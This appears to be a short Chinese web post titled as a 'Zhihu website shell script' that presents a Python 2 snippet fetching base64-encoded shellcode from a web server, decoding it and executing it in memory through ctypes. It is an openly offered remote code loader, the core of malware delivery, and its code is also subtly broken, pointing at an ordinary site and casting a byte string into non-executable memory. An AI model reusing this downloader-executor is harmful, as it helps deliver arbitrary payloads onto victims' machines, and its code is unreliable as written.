知乎網站Shell腳本-Python語言-立哥開發

import urllib2
import ctypes
import base64

#retrieve the shellcode from our web server
url = “http://www.zhihu.com”
response = urllib2.urlopen(url)

#decode the shellcode from base64
shellcode_buffer = base64.b64decode(response.read())

#create a function pointer to out shellcode
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE
(ctypes.c_void_p))

#call our shellcode
shellcode_func()

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章